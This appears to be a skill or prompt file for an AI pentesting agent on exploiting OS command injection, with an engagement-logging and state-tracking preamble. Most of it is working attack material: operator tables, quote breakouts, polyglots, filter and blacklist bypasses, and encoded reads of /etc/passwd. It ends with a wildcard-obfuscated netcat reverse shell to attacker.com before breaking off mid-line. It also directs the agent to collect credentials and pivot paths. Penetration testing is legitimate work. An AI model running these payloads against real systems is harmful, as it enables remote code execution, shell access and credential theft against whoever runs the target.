/command-injection

name: command-injection
description: >
  Guide OS command injection exploitation during authorized penetration
  testing.
keywords:
  - command injection
  - OS injection
  - RCE via shell
  - shell injection
  - system() injection
  - exec() injection
  - ping injection
  - backtick injection
  - command execution
  - blind command injection
  - argument injection
  - parameter injection
tools:
  - burpsuite
  - commix
  - interactsh
opsec: medium

OS Command Injection

You are helping a penetration tester exploit OS command injection. The target application passes user-controlled input to a system shell command without proper sanitization. The goal is to execute arbitrary commands on the underlying operating system. All testing is under explicit written authorization.

**Not Python eval()/exec() injection.** This skill covers injection into OS shell commands (bash, cmd.exe, PowerShell) via operators like `;`, `|`, `&&`, backticks, and `$()`. If the injection context is a Python eval() or exec() call — where you need to write Python expressions, not shell commands — route to **python-code-injection** instead. Key indicator: shell operators (`;id`, `|id`) don't work, but Python expressions (`__import__('os').popen('id')`) do.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[command-injection] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• An input that gets processed by a system command (URL param, form field, header,

filename, API parameter)

• Common vulnerable patterns: ping/traceroute utilities, DNS lookups, file

operations, PDF generators, image processors, email sending, network tools

Step 1: Assess

If not already provided, determine: 1. **Platform** — Linux or Windows (try both `id` and `whoami`) 2. **Injection context** — unquoted, single-quoted, double-quoted, or backtick 3. **Injection point** — which parameter, GET/POST/header/filename 4. **Visible or blind** — is command output reflected in the response?

Skip if context was already provided.

Step 2: Injection Operators

Try these operators to chain a second command. Test with a known-output command (`id` on Linux, `whoami` on Windows) or a time delay (`sleep 5`, `ping -c 5 127.0.0.1`).

Linux

| Payload | Behavior | |---|---| | `; id` | Sequential execution (always runs) | | `| id` | Pipe — runs `id`, shows its output | | `|| id` | Runs `id` only if first command fails | | `&& id` | Runs `id` only if first command succeeds | | `& id` | Background first command, run `id` | | `` `id` `` | Command substitution (backticks) | | `$(id)` | Command substitution (modern) | | `%0a id` | Newline injection |

Windows

| Payload | Behavior | |---|---| | `& whoami` | Run both commands | | `&& whoami` | Run `whoami` if first succeeds | | `|| whoami` | Run `whoami` if first fails | | `| whoami` | Pipe output | | `%0a whoami` | Newline injection | | `%1a whoami` | Substitute character (sometimes works) |

Context-Aware Injection

If the input is placed inside quotes in the shell command:

# Inside double quotes — break out:
"; id; echo "
" | id; echo "
"$(id)"

# Inside single quotes — cannot use $() or backticks:
'; id; echo '

# Inside backticks — close and inject:
`; id; echo `

Polyglot Payloads

Work across multiple quoting contexts (unquoted, single-quoted, double-quoted):

# Time-based polyglot
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}

# Comprehensive polyglot
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Step 3: Filter Bypass

Bypass Space Filters

# ${IFS} — most reliable
cat${IFS}/etc/passwd
ls${IFS}-la

# Brace expansion
{cat,/etc/passwd}
{ls,-la,/tmp}

# Tab character (URL-encode as %09)
;cat%09/etc/passwd

# Input redirection
cat</etc/passwd

# ANSI-C quoting
X=$'cat\x20/etc/passwd'&&$X

Bypass Command Blacklists

# Quote splitting — insert empty quotes anywhere in the command
w'h'o'am'i
w"h"o"am"i
/b'i'n/c'a't /e't'c/p'a's's'w'd

# Backslash escaping
w\ho\am\i
c\at /e\tc/p\as\sw\d
/\b\i\n/\s\h

# Empty variable expansion
who$@ami
who${x}ami
cat$u /etc$u/passwd$u

# Empty command substitution
who$()ami
who``ami

# Variable concatenation
a=who;b=ami;$a$b
a=c;b=at;c=/etc/passwd;$a$b $c

Bypass Character Restrictions

# Hex encoding
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
X=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $X

# Octal encoding
cat `printf '\57\145\164\143\57\160\141\163\163\167\144'`

# xxd for hex decoding
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

# Base64 encoding
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh
$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)

# Build slash from env variable
cat ${HOME:0:1}etc${HOME:0:1}passwd
cat ${PATH:0:1}etc${PATH:0:1}passwd

Wildcard-Based Bypass

When specific commands or paths are blacklisted:

# /bin/cat /etc/passwd via wildcards
/???/??t /???/p??s??

# /bin/nc with wildcard
/???/n? -e /???/s? attacker.com 4444

# Globbing alternatives
/bi[n]/cat /etc/pa